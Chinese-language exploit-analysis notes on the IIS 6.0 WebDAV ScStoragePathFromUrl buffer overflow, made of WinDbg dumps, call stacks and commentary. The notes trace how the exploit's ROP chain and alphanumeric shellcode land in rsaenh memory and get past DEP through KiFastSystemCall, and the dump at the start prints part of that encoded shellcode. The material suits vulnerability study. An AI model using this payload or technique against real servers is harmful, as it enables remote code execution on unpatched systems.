09fd8c08 818de7af e69791e3 a9e7a885 859de3b2 ................
09fd8c18 e589b5e4 91e58e9d b8b0e488 e3ba99e3 ................
09fd8c28 89e6b295 83b9e6a6 e3ada1e4 85e68895 ................
09fd8c38 9ab5e4b7 e4b485e6 8de4b384 b289e5a5 ................
09fd8c48 e3a9b5e6 b9e4b199 b9b8e6a4 e6938de6 ................
09fd8c58 85e5a4ad b0bce486 e7afa1e7 9de69389 ................
09fd8c68 9395e490 e7a3a9e7 bde4b984 9691e493 ................
09fd8c78 e7b6bce6 a1e6b98d 96a9e7b7 e38a85e6 ................
09fd8c88 98e385a5 b9b0e6b9 e3b194e4 8de5b291 ................
09fd8c98 8aa1e5a5 e78e91e4 b0e684a9 96a9e5b5 ................
09fd8ca8 e68189e6 98e6b2b9 99a5e5b1 e3b390e5 ................
09fd8cb8 a1e58285 81a5e5a5 e39085e7 9de5b680 ................
09fd8cc8 9791e4b7 e1a18de5 a0e6808f 8fb9e683 ................
09fd8cd8 e680a0e6 a0e68fb9 8789e480 e1aa99e7 ................
09fd8ce8 a0e6808f 9789e483 e5b4bde4 88e587a5 ................
09fd8cf8 a6ade4b4 e782ade4 a1e7a491 8282e6af ................
09fd8d08 e581a0e6 89e7b584 ba91e7ba e487b5e4 ................
09fd8d18 9de59991 9384eb97 e380a0e6 b9e6b685 ................
09fd8d28 a393e2af e181a0e6 a0e6a091 e780cc83 ................
09fd8d38 bfefbebf bfbfefbf e6808fe1 aed183a0 ................
09fd8d48 e783a0e6 91e7ae85 b490e1b0 e283a0e6 ................
09fd8d58 a0e6a7a7 918ee981 e380a0e6 99e6b1a4 ................
09fd8d68 95a5e4ae e59281e3 99e7ab91 8a89e7ab ................
09fd8d78 e1a1a5e7 a0e69c90 85b8e683 e780a0e6 ................
09fd8d88 a5e7b29c a9b5e4a8 e4ac99e3 b5e4a891 ................
09fd8d98 8689e8b0 e480a0e6 89e3b7a1 aab6e193 ................
09fd8da8 e682a0e6 8ce4aabd b88fe1b5 e283a0e6 ................
09fd8db8 a0e6a7a7 59565681 34343441 34343434 .....VVYA4444444
09fd8dc8 51343434 58415441 50415a41 41513341 444QATAXAZAPA3QA
09fd8dd8 415a4144 41524142 4159414c 41514149 DAZABARALAYAIAQA
09fd8de8 41514149 41354150 41504141 4941315a IAQAPA5AAAPAZ1AI
09fd8df8 41494131 314a4149 41494131 41584149 1AIAIAJ11AIAIAXA
09fd8e08 41413835 415a4150 51424142 49413149 58AAPAZABABQI1AI
09fd8e18 49414951 31314951 49413131 49514a41 QIAIQI1111AIAJQI
09fd8e28 41594131 4241425a 42414241 30334241 1AYAZBABABABAB30
09fd8e38 39425041 424a3434 57365836 4f37564d APB944JB6X6WMV7O
09fd8e48 5a385a37 59385938 544d5432 4d31544a 7Z8Z8Y8Y2TMTJT1M
09fd8e58 59373130 31305136 45303130 534b534c 017Y6Q01010ELSKS
09fd8e68 534c4530 4d4a5333 54374b30 36304a30 0ELS3SJM0K7T0J06
09fd8e78 4b344b31 57375536 4c4a4b35 524d4c4f 1K4K6U7W5KJLOLMR
09fd8e88 4c4e5a35 564d5a30 4c354c35 5a31584d 5ZNL0ZMV5L5LMX1Z
09fd8e98 5630504c 4f354c33 5a4c5335 50345935 LP0V3L5O5SLZ5Y4P
09fd8ea8 5034544b 4f354f34 59335534 4e374c4a KT4P4O5O4U3YJL7N
09fd8eb8 5038554c 5131504d 4b4d544d 50313530 LU8PMP1QMTMK051P
09fd8ec8 46305131 30305436 4c4c5a4e 55354b32 1Q0F6T00NZLL2K5U
09fd8ed8 58304f30 4e305036 4c30534b 53365036 0O0X6P0NKS0L6P6S
09fd8ee8 4f325338 55315134 36305831 57333130 8S2O4Q1U1X06013W
09fd8ef8 42304d37 4f355832 4f325235 544c3230 7M0B2X5O5R2O02LT
09fd8f08 4b4d504c 4c4b5537 54395931 51375a31 LPMK7UKL1Y9T1Z7Q
09fd8f18 574c4630 554b5232 58375031 4f33514b 0FLW2RKU1P7XKQ3O
09fd8f28 55325334 4430524c 51354e4a 4f315734 4S2ULR0DJN5Q4W1O
09fd8f38 514d4830 54334f4c 56395931 4f305638 0HMQLO3T1Y9V8V0O
09fd8f48 43305531 584b4c35 52305931 534d5132 1U0C5LKX1Y0R2QMS
09fd8f58 4f395534 54395432 4b354c4d 504d5230 4U9O2T9TML5K0RMP
09fd8f68 4f334530 51325a4a 4e4e534d 5131534b 0E3OJZ2QMSNNKS1Q
09fd8f78 4f344c34 59395135 4b39504d 53364b39 4L4O5Q9YMP9K9K6S
09fd8f88 5a4c4e4e 4e385931 4c4d4c4d 51385132 NNLZ1Y8NMLML2Q8Q
09fd8f98 55323030 5a303031 524b4f39 59334d31 002U100Z9OKR1M3Y
09fd8fa8 4d4a5435 584c4f37 55335038 5937594c 5TJM7OLX8P3ULY7Y
09fd8fb8 58375930 574d5934 554a4d35 5237594c 0Y7X4YMW5MJULY7R
09fd8fc8 524b4d31 5735514b 4e305830 4b315533 1MKRKQ5W0X0N3U1K
09fd8fd8 4f39504c 4c315031 50395733 4f4f5035 LP9O1P1L3W9P5POO
09fd8fe8 53324630 4e4a584d 534a4d4a 4e4a4b38 0F2SMXJNJMJS8KJN
09fd8ff8 3e41504b c0c0c000 ???????? ???????? KPA>....????????
09fd9008 ???????? ???????? ???????? ???????? ????????????????
之后发现是调用了ScConvertToWide,之后调用了MultiByteToWideChar就变成那样了,那么我们将我们的rop什么的地址使用WideCharToMultiByte转换后就行了,我们使用不是全字母的Shellcode,应该使用WideCharToMultiByte转换后也可以使用吧
0:018> kv
ChildEBP RetAddr Args to Child
0371f52c 7c81ff8c 0000002a 0000060b 0a056350 kernel32!UTF8ToUnicode+0x113 (FPO: [Non-Fpo])
0371f558 7c81fee6 0000fde9 00000000 0a0589a8 kernel32!UTFToUnicode+0xa3 (FPO: [Non-Fpo])
0371f5a8 673f7221 0000fde9 00000000 0a0589a8 kernel32!MultiByteToWideChar+0x44 (FPO: [Non-Fpo])
0371f71c 67406b08 0a056350 00000000 00000001 httpext!ScConvertToWide+0x152 (FPO: [Non-Fpo])
0371f7b0 673f5379 673e2028 00000001 0a04ad6c httpext!CRequest::LpwszGetHeader+0x9f (FPO: [Non-Fpo])
0371fc34 673f561e 0a048fc0 0a032c2e 0371fc78 httpext!HrCheckIfHeader+0x53 (FPO: [Non-Fpo])
0371fc44 673ef659 0a048fc0 0a032c2e 00000001 httpext!HrCheckStateHeaders+0x10 (FPO: [Non-Fpo])
0371fc78 673ef7c5 0a04ad58 0371fcd4 674104e2 httpext!CPropFindRequest::Execute+0xf0 (FPO: [Non-Fpo])
0371fc90 673f96f2 0a04ad58 00000004 0443fe20 httpext!DAVPropFind+0x47 (FPO: [Non-Fpo])
0371fce0 673e7bc6 0a034fa0 0a048fc0 0443fe20 httpext!CDAVExt::DwMain+0x12e (FPO: [Non-Fpo])
0371fe04 5a5c2991 0443fe20 0443eb60 0443f7b0 httpext!DwDavFSExtensionProc+0x3f (FPO: [Non-Fpo])
0371fe24 5a6368ff 0443fd90 673e7b87 0371fe50 w3isapi!ProcessIsapiRequest+0x214 (FPO: [Non-Fpo])
0371fe58 5a6367e0 00000000 00000000 0443eb60 w3core!W3_ISAPI_HANDLER::IsapiDoWork+0x3fd (FPO: [Non-Fpo])
0371fe78 5a636764 0371fee8 0443eb60 00000000 w3core!W3_ISAPI_HANDLER::DoWork+0xb0 (FPO: [Non-Fpo])
0371fe98 5a6366f4 0443eb60 00000000 0371fec4 w3core!W3_HANDLER::MainDoWork+0x16e (FPO: [Non-Fpo])
尝试总结作者的漏洞利用
利用第一次复制覆盖指向str缓存区的指针,这个指针存在于栈上,覆盖为680313c0,后面用到的IEcb对象的首地址。
那么第二次复制的时候就复制rop gadget和Shellcode到了680313c0,之后到ScStripAndCheckHttpPrefix触发漏洞,劫持控制流后,利用SharedUserData bypass DEP(这个不懂怎么绕过DEP的),执行Shellcode
调用KiFastSystemCall前,我们看看栈,第一个参数就是作者Shellcode的首地址,这是应该是返回地址吧,但是在KiFastSystemCall里面也用到了我们的返回地址,是不是执行完KiFastSystemCall,返回地址68031460那边就有执行权限呢
0:008> g
Breakpoint 2 hit
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=043df4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}
0:008> dd esp
68031400 68031460 7ffe0300 ffffffff 680313c0
68031410 6803046e 00000040 68031434 680129e7
68031420 68009391 666e3931 30524955 766b546b
68031430 7961724a 6803141c 68006e05 79687732
68031440 366c4d69 4d704468 68008246 32534877
68031450 68021daa 43356f6a 680313f8 680129e7
68031460 00560056 00410059 00340034 00340034
68031470 00340034 00340034 00340034 00410051
其实不知道是不是之前执行过的原因(就是先发送一次payload,让w3wp进程出现才附加),导致没发送第二次的payload的时候,那个地址已经有执行权限了,反正看内存好像有上次攻击的一些数据
0:018> !address 68031400
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x68031400
漏洞总结
ScStoragePathFromUrl中的qmemcpy没对输入的字符串的复制长度进行检查,导致缓存区溢出,由于有gs,利用比较困难而已